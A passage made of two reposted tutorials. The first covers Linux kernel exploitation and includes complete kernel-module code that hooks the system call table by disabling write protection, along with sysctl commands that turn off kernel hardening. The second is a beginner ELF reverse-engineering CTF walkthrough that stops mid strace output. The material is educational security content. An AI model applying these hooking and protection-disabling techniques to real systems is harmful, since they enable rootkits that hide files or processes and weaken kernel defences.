Cannot access memory at address 0x4 (gdb) p ((struct cred *)0)->user_ns Cannot access memory at address 0x88 The sys_call_table is residing in a RO(read only) memory space: (gdb) x/x sys_call_table 0xffffffff81c00160 <sys_call_table>: 0xffffffff81247310 (gdb) maintenance info sections ... [3] 0xffffffff81c00000->0xffffffff81ec1a42 at 0x00e00000: .rodata ALLOC LOAD RELOC DATA HAS_CONTENTS ... (gdb) But a kernel module can overcome this protection and place a hook at any systemcall. For that, two example modules will be given: =] Disabling the previously discussed WP(write-protect) bit in the CR0(control register #0), using read_cr0 and write_cr0 to acheive that. #include <linux/fs.h> #include <asm/pgtable.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/uaccess.h> #include <linux/kallsyms.h> #include <linux/miscdevice.h> #include <asm/special_insns.h> #define device_name "hookcontrol" #define ioctl_base 0x005ec #define ioctl_enable ioctl_base+1 #define ioctl_disable ioctl_base+2 int res; int (*real_getuid)(void); void **sys_call_table; unsigned long const *address; static int hooked_getuid(void){ printk(KERN_INFO "Received getuid call from %s!", current->comm); if(real_getuid != NULL){ return real_getuid(); } return 0; } long do_ioctl(struct file *filp, unsigned int cmd, unsigned long arg){ unsigned long cr0 = read_cr0(); switch(cmd){ case ioctl_enable: printk(KERN_INFO "Enabling hook!"); write_cr0(cr0 & ~0x10000); sys_call_table[__NR_getuid] = hooked_getuid; write_cr0(cr0 | 0x10000); printk(KERN_INFO "Successfully changed!"); return 0; case ioctl_disable: printk(KERN_INFO "Disabling hook!"); write_cr0(cr0 & ~0x10000); sys_call_table[__NR_getuid] = real_getuid; write_cr0(cr0 | 0x10000); printk(KERN_INFO "Successfully restored!"); return 0; default: return -EINVAL; } } struct file_operations file_ops = { .owner = THIS_MODULE, .unlocked_ioctl = do_ioctl }; struct miscdevice hk_dev = { MISC_DYNAMIC_MINOR, device_name, &file_ops }; static int us_init(void){ res = misc_register(&hk_dev); if(res){ printk(KERN_ERR "Couldn't load module!"); return -1; } sys_call_table = (void *) kallsyms_lookup_name("sys_call_table"); real_getuid = sys_call_table[__NR_getuid]; address = (unsigned long *) &sys_call_table; printk(KERN_INFO "Module successfully loaded with minor: %d!", hk_dev.minor); return 0; } static void us_exit(void){ misc_deregister(&hk_dev); } MODULE_LICENSE("GPL"); module_init(us_init); module_exit(us_exit); =] Orr’ing the protection mask of the page at which it resides(__pgprot(_PAGE_RW))( set_memory_rw() & set_memory_rw()), or directly modifying the PTE. static inline pte_t pte_mkwrite(pte_t pte) { return pte_set_flags(pte, _PAGE_RW); } static inline pte_t pte_wrprotect(pte_t pte) { return pte_clear_flags(pte, _PAGE_RW); } Looking at these functions, one can safely assume that manipulation can be acheived with simple OR and AND(_PAGE_RW) operations on the pte_t. pte_t *lookup_address(unsigned long address, unsigned int *level) { return lookup_address_in_pgd(pgd_offset_k(address), address, level); } Since it’s a kernel address, pgd_offset_k() is called, which makes use of &init_mm, instead of a mm_struct belonging to some process of one’s choice. pte_t *lookup_address_in_pgd(pgd_t *pgd, unsigned long address, unsigned int *level) { p4d_t *p4d; pud_t *pud; pmd_t *pmd; *level = PG_LEVEL_NONE; if (pgd_none(*pgd)) return NULL; p4d = p4d_offset(pgd, address); if (p4d_none(*p4d)) return NULL; *level = PG_LEVEL_512G; if (p4d_large(*p4d) || !p4d_present(*p4d)) return (pte_t *)p4d; pud = pud_offset(p4d, address); if (pud_none(*pud)) return NULL; *level = PG_LEVEL_1G; if (pud_large(*pud) || !pud_present(*pud)) return (pte_t *)pud; pmd = pmd_offset(pud, address); if (pmd_none(*pmd)) return NULL; *level = PG_LEVEL_2M; if (pmd_large(*pmd) || !pmd_present(*pmd)) return (pte_t *)pmd; *level = PG_LEVEL_4K; return pte_offset_kernel(pmd, address); } so, the ioctl handler looks like this: long do_ioctl(struct file *filp, unsigned int cmd, unsigned long arg){ unsigned int level; pte_t *pte = lookup_address(*address, &level);; switch(cmd){ case ioctl_enable: printk(KERN_INFO "Enabling hook!"); pte->pte |= _PAGE_RW; sys_call_table[__NR_getuid] = hooked_getuid; pte->pte &= ~_PAGE_RW; printk(KERN_INFO "Successfully changed!"); return 0; case ioctl_disable: printk(KERN_INFO "Disabling hook!"); pte->pte |= _PAGE_RW; sys_call_table[__NR_getuid] = real_getuid; pte->pte &= ~_PAGE_RW; printk(KERN_INFO "Successfully restored!"); return 0; default: return -EINVAL; } } (Know that these are only examples, usually, replacing should take place at init and restoring the original at exit, plus the definition of both the hook and original handlers, should hold asmlinkage(passing arguments in stack, unlike fastcall(default) in registers), however, since the syscall here holds no arguments, this was ignored.) By running an application from user-space to interact with /dev/hookcontrol: (enabling and disabling after a while) and taking a look at dmesg: This can be used to provide a layer on the syscall, prevent or manipulate the return value, like kill to prevent a process from being killed, getdents to hide some files, unlink to prevent a file from being deleted, et cetera… And it doesn’t stop here, even without syscall hooking, one can play with processes(hide them as an example…) with task_struct elements and per-task flags, or change the file_operations in some specific struct, and many other possibilities. IDT(Interrupt Descriptor Table): In order to handle exceptions, this table exists, by linking a specific handler to each exception, it helps deal with those raised from userspace(a translation to ring zero is required first) and kernelspace. It first is initialized during early setup, and this can be seen in setup_arch() which calls multiple functions, some to setup the IDT, most important to us is idt_setup_traps(): void __init idt_setup_traps(void) { idt_setup_from_table(idt_table, def_idts, ARRAY_SIZE(def_idts), true); } It makes use of the default IDTs array(def_idts). static const __initconst struct idt_data def_idts[] = { INTG(X86_TRAP_DE, divide_error), INTG(X86_TRAP_NMI, nmi), INTG(X86_TRAP_BR, bounds), INTG(X86_TRAP_UD, invalid_op), INTG(X86_TRAP_NM, device_not_available), INTG(X86_TRAP_OLD_MF, coprocessor_segment_overrun), INTG(X86_TRAP_TS, invalid_TSS), INTG(X86_TRAP_NP, segment_not_present), INTG(X86_TRAP_SS, stack_segment), INTG(X86_TRAP_GP, general_protection), INTG(X86_TRAP_SPURIOUS, spurious_interrupt_bug), INTG(X86_TRAP_MF, coprocessor_error), INTG(X86_TRAP_AC, alignment_check), INTG(X86_TRAP_XF, simd_coprocessor_error), #ifdef CONFIG_X86_32 TSKG(X86_TRAP_DF, GDT_ENTRY_DOUBLEFAULT_TSS), #else INTG(X86_TRAP_DF, double_fault), #endif INTG(X86_TRAP_DB, debug), #ifdef CONFIG_X86_MCE INTG(X86_TRAP_MC, &machine_check), #endif SYSG(X86_TRAP_OF, overflow), #if defined(CONFIG_IA32_EMULATION) SYSG(IA32_SYSCALL_VECTOR, entry_INT80_compat), #elif defined(CONFIG_X86_32) SYSG(IA32_SYSCALL_VECTOR, entry_INT80_32), #endif }; On x86_32 as an example, when an int 0x80 is raised. the following happens: static __always_inline void do_syscall_32_irqs_on(struct pt_regs *regs) { struct thread_info *ti = current_thread_info(); unsigned int nr = (unsigned int)regs->orig_ax; #ifdef CONFIG_IA32_EMULATION ti->status |= TS_COMPAT; #endif if (READ_ONCE(ti->flags) & _TIF_WORK_SYSCALL_ENTRY) { nr = syscall_trace_enter(regs); } if (likely(nr < IA32_NR_syscalls)) { nr = array_index_nospec(nr, IA32_NR_syscalls); #ifdef CONFIG_IA32_EMULATION regs->ax = ia32_sys_call_table[nr](regs); #else regs->ax = ia32_sys_call_table[nr]( (unsigned int)regs->bx, (unsigned int)regs->cx, (unsigned int)regs->dx, (unsigned int)regs->si, (unsigned int)regs->di, (unsigned int)regs->bp); #endif } syscall_return_slowpath(regs); } __visible void do_int80_syscall_32(struct pt_regs *regs) { enter_from_user_mode(); local_irq_enable(); do_syscall_32_irqs_on(regs); } It would call enter_from_user_mod() to , then enable Interrupt Requests(IRQs) on the current CPU. Push the saved registers to find the syscall number(EAX), use it as an index in the ia32_sys_call_table array. Arguments are passed to the handler in registers with the following order: EBX, ECX, EDX, ESI, EDI, EBP. However, the first object as seen in the idt_table is the X86_TRAP_DE(divide error). This can be seen from GDB, that the first gate within idt_table holds the offset_high, offset_middle and offset_low referencing divide_error. Which would deal with division by 0 exceptions. (gdb) p idt_table $1 = 0xffffffff82598000 <idt_table> (gdb) p/x *(idt_table + 0x10*0) $2 = {offset_low = 0xb90, segment = 0x10, bits = {ist = 0x0, zero = 0, type = 14, dpl = 0, p = 1}, offset_middle = 0x8180, offset_high = 0xffffffff, reserved = 0x0} (gdb) x/8i 0xffffffff81800b90 0xffffffff81800b90 <divide_error>: nopl (%rax) 0xffffffff81800b93 <divide_error+3>: pushq $0xffffffffffffffff 0xffffffff81800b95 <divide_error+5>: callq 0xffffffff81801210 <error_entry> 0xffffffff81800b9a <divide_error+10>: mov %rsp,%rdi 0xffffffff81800b9d <divide_error+13>: xor %esi,%esi 0xffffffff81800b9f <divide_error+15>: callq 0xffffffff81025d60 <do_devide_error> 0xffffffff81800ba4 <divide_error+20>: jmpq 0xffffffff81801310 <error_exit> You can see that it’s DPL is zero, that is, an int $0x00 from a userland process wouldn’t help reaching it(unlike int $0x03, int $0x04 or int $0x80). Gate descriptors are initialized in idt_setup_from_table which calls idt_init_desc: idt_setup_from_table(gate_desc *idt, const struct idt_data *t, int size, bool sys) { gate_desc desc; for (; size > 0; t++, size--) { idt_init_desc(&desc, t); write_idt_entry(idt, t->vector, &desc); if (sys) set_bit(t->vector, system_vectors); } } And here it is. static inline void idt_init_desc(gate_desc *gate, const struct idt_data *d) { unsigned long addr = (unsigned long) d->addr; gate->offset_low = (u16) addr; gate->segment = (u16) d->segment; gate->bits = d->bits; gate->offset_middle = (u16) (addr >> 16); #ifdef CONFIG_X86_64 gate->offset_high = (u32) (addr >> 32); gate->reserved = 0; #endif } This could be used by the attacker, such as by getting the IDT address using the SIDT instruction, and looking for a specific handler in the list, incrementing offset_high would set it to 0. As we said above, we're going to use the IDT and overwrite one of its entries (more precisely a Trap Gate, so that we're able to hijack an exception handler and redirect the code-flow towards userspace). Each IDT entry is 64-bit (8-bytes) long and we want to overflow the 'base_offset' value of it, to be able to modify the MSB of the exception handler routine address and thus redirect it below PAGE_OFFSET (0xc0000000) value. ~ Phrack 2 KSPP: This is a protection that appeared starting from 4.8, it’s name is a short for: “Kernel self-protection project”, It does provide additional checks on copy_to_user() and copy_from_user() to prevent classic buffer-overflows bugs from happening, by checking the saved compile-time buffer size and making sure it fits. if not, abort and prevent any possible exploitation from happening. root@Nwwz:~/mod# cd /usr/src root@Nwwz:/usr/src# cd linux-4.17.2 root@Nwwz:/usr/src/linux-4.17.2# cd include root@Nwwz:/usr/src/linux-4.17.2/include# nano uaccess.h We can directly see a check that’s likely to be 1, before proceeding to the copy operation: static __always_inline unsigned long __must_check copy_from_user(void *to, const void __user *from, unsigned long n) { if (likely(check_copy_size(to, n, false))) n = _copy_from_user(to, from, n); return n; } static __always_inline unsigned long __must_check copy_to_user(void __user *to, const void *from, unsigned long n) { if (likely(check_copy_size(from, n, true))) n = _copy_to_user(to, from, n); return n; } The check function is as follows, it does first check the compile-time size against the requested size, and calls __bad_copy_from() or __bad_copy_to() depending on the boolean is_source if it seems like an overflow is possible, which is unlikely of course(or not?), it then returns false. If not, it does call check_object_size() and returns true. extern void __compiletime_error("copy source size is too small") __bad_copy_from(void); extern void __compiletime_error("copy destination size is too small") __bad_copy_to(void); static inline void copy_overflow(int size, unsigned long count) { WARN(1, "Buffer overflow detected (%d < %lu)!\n", size, count); } static __always_inline bool check_copy_size(const void *addr, size_t bytes, bool is_source) { int sz = __compiletime_object_size(addr); if (unlikely(sz >= 0 && sz < bytes)) { if (!__builtin_constant_p(bytes)) copy_overflow(sz, bytes); else if (is_source) __bad_copy_from(); else __bad_copy_to(); return false; } check_object_size(addr, bytes, is_source); return true; } This function is simply just a wrapper around __check_object_size(). #ifdef CONFIG_HARDENED_USERCOPY extern void __check_object_size(const void *ptr, unsigned long n, bool to_user); static __always_inline void check_object_size(const void *ptr, unsigned long n, bool to_user) { if (!__builtin_constant_p(n)) __check_object_size(ptr, n, to_user); } #else static inline void check_object_size(const void *ptr, unsigned long n, bool to_user) { } #endif Additional checks are provided here in __check_object_size(), and as the comment says, not a kernel .text address, not a bogus address and is a safe heap or stack object. void __check_object_size(const void *ptr, unsigned long n, bool to_user) { if (static_branch_unlikely(&bypass_usercopy_checks)) return; if (!n) return; check_bogus_address((const unsigned long)ptr, n, to_user); check_heap_object(ptr, n, to_user); switch (check_stack_object(ptr, n)) { case NOT_STACK: break; case GOOD_FRAME: case GOOD_STACK: return; default: usercopy_abort("process stack", NULL, to_user, 0, n); } check_kernel_text_object((const unsigned long)ptr, n, to_user); } EXPORT_SYMBOL(__check_object_size); With this, it does provide enough to block and kill classic buffer-overflow bugs, this can be disabled by commenting the check and recompiling a module. KASLR: Stands for Kernel Address Space Layout Randomization. It’s similiar to the ASLR on userspace which protects the stack and heap addresses from being at the same location in two different runs(unless the attacker gets lucky ). PIE too since it does target the main binary segments which are text, data and bss. This protection randomizes the kernel segments(Exception table, text, data…) at each restart(boot), we’ve previously disabled it by using the nokaslr at the kernel command line. In order to experiment on it, this was removed and specific symbols in /proc/kallsyms were then fetched on two different runs. First run: Second run: This shows that addresses are randomly assigned on boottime to _stext and _sdata, whereas their end is just the start address plus a size which doesn’t change in this case(0x21dc0 for .data, 0x6184d1 for .text), note that .data is on a constant distance from .text. So if the attacker gets the .text base address(which is the result of a leak), he can know the location of all the kernel symbols even with no access to kallsyms using RVAs(or offsets), but he’ll have to compile the target kernel in his box to get them. This is for example used when SMEP is on and one has to go for ROP to disable it first, and then redirect execution to a shellcode placed in userspace(< TASK_SIZE). kptr_restrict: This protection prevents kernel addresses from being exposed to the attacker. It does stop %pK format from dumping an address, and it’s work depends on the kptr_restrict value(0, 1 or 2). Kernel Pointers: %pK 0x01234567 or 0x0123456789abcdef For printing kernel pointers which should be hidden from unprivileged users. The behaviour of %pK depends on the kptr_restrict sysctl - see Documentation/sysctl/kernel.txt for more details. This can be seen in kprobe_blacklist_seq_show() which performs a check with a call to kallsyms_show_value(), depending on it, it would or would not print the start and end addresses. static int kprobe_blacklist_seq_show(struct seq_file *m, void *v) { struct kprobe_blacklist_entry *ent = list_entry(v, struct kprobe_blacklist_entry, list); if (!kallsyms_show_value()) seq_printf(m, "0x%px-0x%px\t%ps\n", NULL, NULL, (void *)ent->start_addr); else seq_printf(m, "0x%px-0x%px\t%ps\n", (void *)ent->start_addr, (void *)ent->end_addr, (void *)ent->start_addr); return 0; } What kallsyms_show_value() does is shown here: int kallsyms_show_value(void) { switch (kptr_restrict) { case 0: if (kallsyms_for_perf()) return 1; case 1: if (has_capability_noaudit(current, CAP_SYSLOG)) return 1; default: return 0; } } If kptr_restrict value is 0, it does call kallsyms_for_perf() to check if sysctl_perf_event_paranoid value is smaller or equal to 1, returns 1 if true. If it’s 1, it checks if CAP_SYSLOG is within the user’s capabilities, if true, it returns 1. Otherwise, it returns 0. Disabling this protection can be done by setting /proc/sys/kernel/kptr_restrict content to 0. Or using sysctl to do that: sysctl -w kernel.kptr_restrict=0 But watchout for perf_event_paranoid too, if it’s > 1, then it needs to be adjusted. This is an example on the default kernel run by my Debian VM: user@Nwwz:~$ cd /proc/self user@Nwwz:/proc/self$ cat stack [<ffffffff81e7c869>] do_wait+0x1c9/0x240 [<ffffffff81e7d9ab>] SyS_wait4+0x7b/0xf0 [<ffffffff81e7b550>] task_stopped_code+0x50/0x50 [<ffffffff81e03b7d>] do_syscall_64+0x8d/0xf0 [<ffffffff8241244e>] entry_SYSCALL_64_after_swapgs+0x58/0xc6 [<ffffffffffffffff>] 0xffffffffffffffff However, in the 4.17 kernel, we get this, because of perf_event_paranoid: root@Nwwz:~# cd /proc/self root@Nwwz:/proc/self# cat stack [<0>] do_wait+0x1c9/0x240 [<0>] kernel_wait4+0x8d/0x140 [<0>] __do_sys_wait4+0x95/0xa0 [<0>] do_syscall_64+0x55/0x100 [<0>] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [<0>] 0xffffffffffffffff root@Nwwz:/proc/self# cat /proc/sys/kernel/kptr_restrict 0 root@Nwwz:/proc/self# cat /proc/sys/kernel/perf_event_paranoid 2 mmap_min_addr: The mm_struct within task_struct holds an operation function called get_unmapped_area. struct mm_struct { ... #ifdef CONFIG_MMU unsigned long (*get_unmapped_area) (struct file *filp, unsigned long addr, unsigned long len, unsigned long pgoff, unsigned long flags); #endif ... } It is then extracted in get_unmapped_area(), which tries to get it from the mm(mm_struct), before checking it’s file and it’s file_operations or if it has the MAP_SHARED flag and assign shmem_get_unmapped_area() to it. However, within the mm_struct, the default value of get_unmapped_area is the arch specific function. This function does search for a large enough memory block to satisfy the request, but before returning the addr, it does check if it’s bigger or equal to mmap_min_addr, which means that any address below it will not be given, this prevents NULL pointer dereference attack from happening(no mmaping NULL address, nothing will be stored there(shellcode, pointers…)). Disabling this protection can be done by setting /proc/sys/vm/mmap_min_addr content to 0, or using sysctl like before. sysctl -w vm.mmap_min_addr=0 addr_limit: The thread(thread_struct) within the task_struct contains some important fields, amongst them, is the addr_limit. typedef struct { unsigned long seg; } mm_segment_t; struct thread_struct { ... mm_segment_t addr_limit; unsigned int sig_on_uaccess_err:1; unsigned int uaccess_err:1; ... }; This can be read with a call to get_fs(), changed with set_fs(): #define MAKE_MM_SEG(s) ((mm_segment_t) { (s) }) #define KERNEL_DS MAKE_MM_SEG(-1UL) #define USER_DS MAKE_MM_SEG(TASK_SIZE_MAX) #define get_ds() (KERNEL_DS) #define get_fs() (current->thread.addr_limit) static inline void set_fs(mm_segment_t fs) { current->thread.addr_limit = fs; set_thread_flag(TIF_FSCHECK); } When userspace likes to reach an address, it is checked against this first, so overwritting it with -1UL(KERNEL_DS) would let you access(read or write) to kernelspace. This was the introduction, I’ve noticed that it has grown bigger than I expected, so I stopped, and removed parts about protections 4, side-channel 2 attacks 3 and others. Starting this was possible, thanks to: @_py(DA BEST), @pry0cc, @Evalion, @4w1il, @ricksanchez and @Leeky. See y’all in part 1, peace. “nothing is enough, search more to learn more”. ~ exploit Sursa: https://0x00sec.org/t/point-of-no-c3-linux-kernel-exploitation-part-0/11585

Linux Reverse Engineering CTFs for Beginners After a while, I decided a write a short blog post about Linux binary reversing CTFs in general. How to approach a binary and solving for beginners. I personally am not a fan of Linux reverse engineering challenges in general, since I focus more time on Windows reversing. I like windows reverse engineering challenges more. A reason me liking Windows is as a pentester daily I encounter Windows machines and it’s so rare I come across an entire network running Linux. Even when it comes to exploit development it’s pretty rare you will manually develop an exploit for a Linux software while pentesting. But this knowledge is really useful when it comes to IoT, since almost many devices are based on Linux embedded. If you want to begin reverse engineering and exploit development starting from Linux would be a good idea. I too started from Linux many years ago. Saying that since some people when they see a reverse engineering challenge they try to run away. So if you are a newbie I hope this content might be useful for you to begin with. The ELF Format Let’s first have a look at the ELF headers. The best way to learn more about this in detail is to check the man pages for ELF. Here’s in more detail. The “e_shoff” member holds the offset to the section header table. The “sh_offset” member holds the address to the section’s first byte. +-------------------+ | ELF header |---+ +---------> +-------------------+ | e_shoff | | |<--+ | Section | Section header 0 | | | |---+ sh_offset | Header +-------------------+ | | | Section header 1 |---|--+ sh_offset | Table +-------------------+ | | | | Section header 2 |---|--|--+ +---------> +-------------------+ | | | | Section 0 |<--+ | | +-------------------+ | | sh_offset | Section 1 |<-----+ | +-------------------+ | | Section 2 |<--------+ +-------------------+ Executable Header Any ELF file starts with an executable header. This contains information about which type of an ELF file, the offsets to different headers. Everything is self-explanatory if you look at the comments. For this example, I am using 32-bit structures. For x86_64 the sizes may change and the naming convention would start with “Elf64_”. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #define EI_NIDENT (16) typedef struct { unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ Elf32_Half e_type; /* Object file type */ Elf32_Half e_machine; /* Architecture */ Elf32_Word e_version; /* Object file version */ Elf32_Addr e_entry; /* Entry point virtual address */ Elf32_Off e_phoff; /* Program header table file offset */ Elf32_Off e_shoff; /* Section header table file offset */ Elf32_Word e_flags; /* Processor-specific flags */ Elf32_Half e_ehsize; /* ELF header size in bytes */ Elf32_Half e_phentsize; /* Program header table entry size */ Elf32_Half e_phnum; /* Program header table entry count */ Elf32_Half e_shentsize; /* Section header table entry size */ Elf32_Half e_shnum; /* Section header table entry count */ Elf32_Half e_shstrndx; /* Section header string table index */ } Elf32_Ehdr; This is an example using readelf. # readelf -h /bin/ls ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: DYN (Shared object file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x6130 Start of program headers: 64 (bytes into file) Start of section headers: 137000 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 11 Size of section headers: 64 (bytes) Number of section headers: 29 Section header string table index: 28 To calculate the size of the entire binary we can use the following calculation size = e_shoff + (e_shnum * e_shentsize) size = Start of section headers + (Number of section headers * Size of section headers) size = 137000 + (29*64) = 138856 As you can see our calculation is correct. # ls -l /bin/ls -rwxr-xr-x 1 root root 138856 Aug 29 21:20 /bin/ls Program Headers These headers describe the segments of the binary which important for the loading of the binary. This information is useful for the kernel to map the segments to memory from disk. The members of the structure are self-explanatory. I won’t be explaining in depth about this for this post as I try to keep things basic. However, every section is important to understand in doing cool things in reverse engineering in ELF 1 2 3 4 5 6 7 8 9 10 typedef struct { Elf32_Word p_type; /* Segment type */ Elf32_Off p_offset; /* Segment file offset */ Elf32_Addr p_vaddr; /* Segment virtual address */ Elf32_Addr p_paddr; /* Segment physical address */ Elf32_Word p_filesz; /* Segment size in file */ Elf32_Word p_memsz; /* Segment size in memory */ Elf32_Word p_flags; /* Segment flags */ Elf32_Word p_align; /* Segment alignment */ } Elf32_Phdr; Section Headers These headers contain the information for the binary’s segments. It references the size, location for linking and debugging purposes. These headers are not really important for the execution flow of the binary. In some cases, this is stripped and tools like gdb, objdump are useless as they rely on these headers to locate symbol information. 1 2 3 4 5 6 7 8 9 10 11 12 typedef struct { Elf32_Word sh_name; /* Section name (string tbl index) */ Elf32_Word sh_type; /* Section type */ Elf32_Word sh_flags; /* Section flags */ Elf32_Addr sh_addr; /* Section virtual addr at execution */ Elf32_Off sh_offset; /* Section file offset */ Elf32_Word sh_size; /* Section size in bytes */ Elf32_Word sh_link; /* Link to another section */ Elf32_Word sh_info; /* Additional section information */ Elf32_Word sh_addralign; /* Section alignment */ Elf32_Word sh_entsize; /* Entry size if section holds table */ } Elf32_Shdr; Sections As any binary, these are the sections. Some sections are familiar with the PE’s headers. However, I won’t be discussing all the sections as I try to keep it basic. .bss Section This section contains the program’s uninitialized global data. .data Section This section contains the program’s initialized global variables. .rodata Section This section contains read-only data such as strings of the program used. .text Section This section contains the program’s actual code, the logic flow. # readelf -S --wide /bin/ls There are 29 section headers, starting at offset 0x21728: Section Headers: [Nr] Name Type Address Off Size ES Flg Lk Inf Al [ 0] NULL 0000000000000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 00000000000002a8 0002a8 00001c 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 00000000000002c4 0002c4 000020 00 A 0 0 4 [ 3] .note.gnu.build-id NOTE 00000000000002e4 0002e4 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0000000000000308 000308 0000c0 00 A 5 0 8 [ 5] .dynsym DYNSYM 00000000000003c8 0003c8 000c90 18 A 6 1 8 [ 6] .dynstr STRTAB 0000000000001058 001058 0005d8 00 A 0 0 1 [ 7] .gnu.version VERSYM 0000000000001630 001630 00010c 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 0000000000001740 001740 000070 00 A 6 1 8 [ 9] .rela.dyn RELA 00000000000017b0 0017b0 001350 18 A 5 0 8 [10] .rela.plt RELA 0000000000002b00 002b00 0009f0 18 AI 5 24 8 [11] .init PROGBITS 0000000000004000 004000 000017 00 AX 0 0 4 [12] .plt PROGBITS 0000000000004020 004020 0006b0 10 AX 0 0 16 [13] .plt.got PROGBITS 00000000000046d0 0046d0 000018 08 AX 0 0 8 [14] .text PROGBITS 00000000000046f0 0046f0 01253e 00 AX 0 0 16 [15] .fini PROGBITS 0000000000016c30 016c30 000009 00 AX 0 0 4 [16] .rodata PROGBITS 0000000000017000 017000 005129 00 A 0 0 32 [17] .eh_frame_hdr PROGBITS 000000000001c12c 01c12c 0008fc 00 A 0 0 4 [18] .eh_frame PROGBITS 000000000001ca28 01ca28 002ed0 00 A 0 0 8 [19] .init_array INIT_ARRAY 0000000000021390 020390 000008 08 WA 0 0 8 [20] .fini_array FINI_ARRAY 0000000000021398 020398 000008 08 WA 0 0 8 [21] .data.rel.ro PROGBITS 00000000000213a0 0203a0 000a38 00 WA 0 0 32 [22] .dynamic DYNAMIC 0000000000021dd8 020dd8 0001f0 10 WA 6 0 8 [23] .got PROGBITS 0000000000021fc8 020fc8 000038 08 WA 0 0 8 [24] .got.plt PROGBITS 0000000000022000 021000 000368 08 WA 0 0 8 [25] .data PROGBITS 0000000000022380 021380 000268 00 WA 0 0 32 [26] .bss NOBITS 0000000000022600 0215e8 0012d8 00 WA 0 0 32 [27] .gnu_debuglink PROGBITS 0000000000000000 0215e8 000034 00 0 0 4 [28] .shstrtab STRTAB 0000000000000000 02161c 00010a 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), l (large), p (processor specific) Solving a Basic CTF Challenge Now that you have a basic understanding about the headers, let’s pick a random challenge CTF and explire. Download the binary from here. When we pass in some random string we get [+] No flag for you. [+] text displayed. # ./nix_5744af788e6cbdb29bb41e8b0e5f3cd5 aaaa [+] No flag for you. [+] Strings Let’s start by having a look at strings and see any interesting strings. # strings nix_5744af788e6cbdb29bb41e8b0e5f3cd5 /lib/ld-linux.so.2 Mw1i#'0 libc.so.6 _IO_stdin_used exit sprintf puts strlen __cxa_finalize __libc_start_main GLIBC_2.1.3 Y[^] [^_] UWVS [^_] Usage: script.exe <key> Length of argv[1] too long. [+] The flag is: SAYCURE{%s} [+] [+] No flag for you. [+] %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c ;*2$" GCC: (Debian 8.2.0-8) 8.2.0 crtstuff.c We found all the strings printed out from the binary. The “%c” is the format string where our flag gets printed, we can determine the flag must be of 15 characters. Usage: script.exe Length of argv[1] too long. [+] The flag is: SAYCURE{%s} [+] [+] No flag for you. [+] %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c We can get a better view of these strings if we look at the ‘.rodata’ section with the offsets. # readelf -x .rodata nix_5744af788e6cbdb29bb41e8b0e5f3cd5 Hex dump of section '.rodata': 0x00002000 03000000 01000200 55736167 653a2073 ........Usage: s 0x00002010 63726970 742e6578 65203c6b 65793e00 cript.exe <key>. 0x00002020 4c656e67 7468206f 66206172 67765b31 Length of argv[1 0x00002030 5d20746f 6f206c6f 6e672e00 5b2b5d20 ] too long..[+] 0x00002040 54686520 666c6167 2069733a 20534159 The flag is: SAY 0x00002050 43555245 7b25737d 205b2b5d 0a000a5b CURE{%s} [+]...[ 0x00002060 2b5d204e 6f20666c 61672066 6f722079 +] No flag for y 0x00002070 6f752e20 5b2b5d00 25632563 25632563 ou. [+].%c%c%c%c 0x00002080 25632563 25632563 25632563 25632563 %c%c%c%c%c%c%c%c 0x00002090 25632563 256300 %c%c%c. Checking for Symbols By checking the symbols of the binary we can realize it uses printf, puts, sprintf, strlen functions. # nm -D nix_5744af788e6cbdb29bb41e8b0e5f3cd5 w __cxa_finalize U exit w __gmon_start__ 00002004 R _IO_stdin_used w _ITM_deregisterTMCloneTable w _ITM_registerTMCloneTable U __libc_start_main U printf U puts U sprintf U strlen Tracing System Calls We can use tools such as strace to trace the system calls used by the program. # strace ./nix_5744af788e6cbdb29bb41e8b0e5f3cd5 aaaa execve("./nix_5744af788e6cbdb29bb41e8b0e5f3cd5", ["./nix_5744af788e6cbdb29bb41e8b0e"..., "aaaa"], 0x7ffd5ff92d18 /* 46 vars */) = 0 strace: [ Process PID=59965 runs in 32 bit mode. ] brk(NULL) = 0x56f14000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7ef0000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=220471, ...}) = 0 mmap2(NULL, 220471, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf7eba000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 \233\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1930924, ...}) = 0 mmap2(NULL, 1940000, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xf7ce0000 mprotect(0xf7cf9000, 1814528, PROT_NONE) = 0 mmap2(0xf7cf9000, 1359872, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19000) = 0xf7cf9000 mmap2(0xf7e45000, 450560, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x165000) = 0xf7e45000 mmap2(0xf7eb4000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d3000) = 0xf7eb4000 mmap2(0xf7eb7000, 10784, 